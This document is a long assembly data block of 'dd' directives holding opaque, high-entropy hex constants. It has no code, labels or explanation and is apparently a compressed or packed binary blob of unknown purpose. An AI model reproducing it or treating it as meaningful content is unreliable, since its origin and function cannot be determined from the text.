dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h
dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h
dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh
dd 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h
dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h
dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
dd 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh
dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h
dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh
dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h
dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah
dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
dd 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh
dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
dd 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh
dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h, 8D093927h
dd 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h
dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh
dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
dd 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h
dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh
dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
dd 0F000A65Ah
dd 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h
dd 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h
dd 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h
dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh
dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh
dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh
dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah
dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h
dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h
dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah
dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah
dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h
dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h
dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh
dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh
dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h
dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h
dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h
dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah
dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h
dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h
dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh
dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h
dd 3401577Bh, 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h
dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah
dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah
dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h
dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h
dd 0B4E4B8C8h, 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h
dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h
dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h
dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh
dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h
dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h
dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah
dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h
dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah
dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh
dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h
dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h
dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h
dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h
dd 39CD0472h, 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h
dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh
dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh
dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h
dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh
dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h
dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h, 0ABE45790h
dd 95809CB2h, 0C015E2h, 754F450Ch, 66017473h, 6D654D00h
dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h
dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h
dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h
dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h, 35010E65h
dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h
dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h
dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh
dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh
dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h
dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h
dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h
dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh
dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh
dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh
dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h
dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h
dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h
dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h
dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h
dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h
dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h
dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h
dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h
dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh
dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h
dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh
dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h
dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h
dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h
dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h
dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h
dd 770F7A94h, 0C07D4855h
dd 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h
dd 69D02900h, 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h
dd 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh
dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h
dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h, 51A65F09h
dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h
dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h
dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h
dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h
dd 557550BAh, 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h
dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh
dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch
dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h
dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h
dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h
dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h
dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch
dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh
dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh
dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h
dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h
dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h
dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh
dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h
dd 9697C714h, 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h
dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh
dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh
dd 36404A3Ch, 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h
dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh
dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h
dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h
dd 597A8E90h, 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h
dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch
dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch
dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh
dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h
dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch
dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh
dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h
dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh
dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h
dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh
dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h
dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h
dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh
dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h
dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h
dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h
dd 9C2649h, 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh
dd 6000273h, 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h
dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh
dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h
dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h
dd 12AC0B6h, 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh
dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch
dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch
dd 75015Ah, 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h
dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h
dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h
dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h
dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h, 44F9800Bh
dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh
dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h
dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh
dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h
dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h
dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h
dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h
dd 93ACE092h, 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h
dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h
dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh
dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh
dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h
dd 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h
dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h
dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch
dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h
dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h
dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h
dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h
dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h
dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh
dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h
dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h
dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h
dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h
dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh
dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h
dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h
dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h
dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh
dd 2563E08Dh, 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h
dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h
dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h
dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh
dd 0FA3B0C4Dh, 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h
dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h
dd 0D14020C2h, 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h
dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h
dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h
dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h
dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h
dd 407CDAF4h, 915FF800h
dd 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h
dd 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h
dd 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h
dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h
dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h
dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch
dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h
dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch
dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h
dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah
dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah
dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch
dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh
dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h
dd 64E00D2Ah, 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h
dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh
dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h
dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h
dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h
dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h
dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h
dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch
dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h
dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h
dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h
dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh
dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h
dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh
dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh
dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h
dd 0D79E7323h, 51D0C8h, 6A621EB6h, 9499F502h, 41585700h
dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h
dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h
dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h
dd 0EE51554Eh, 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh
dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h
dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h
dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h
dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h
dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h
dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h
dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh
dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh
dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh
dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h
dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h
dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h
dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h
dd 90BBA27h, 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h
dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h
dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh
dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h
dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h
dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh
dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h
dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h
dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh
dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh
dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h
dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh
dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh
dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h
dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h, 736B040h
dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h
dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h
dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch
dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h
dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h
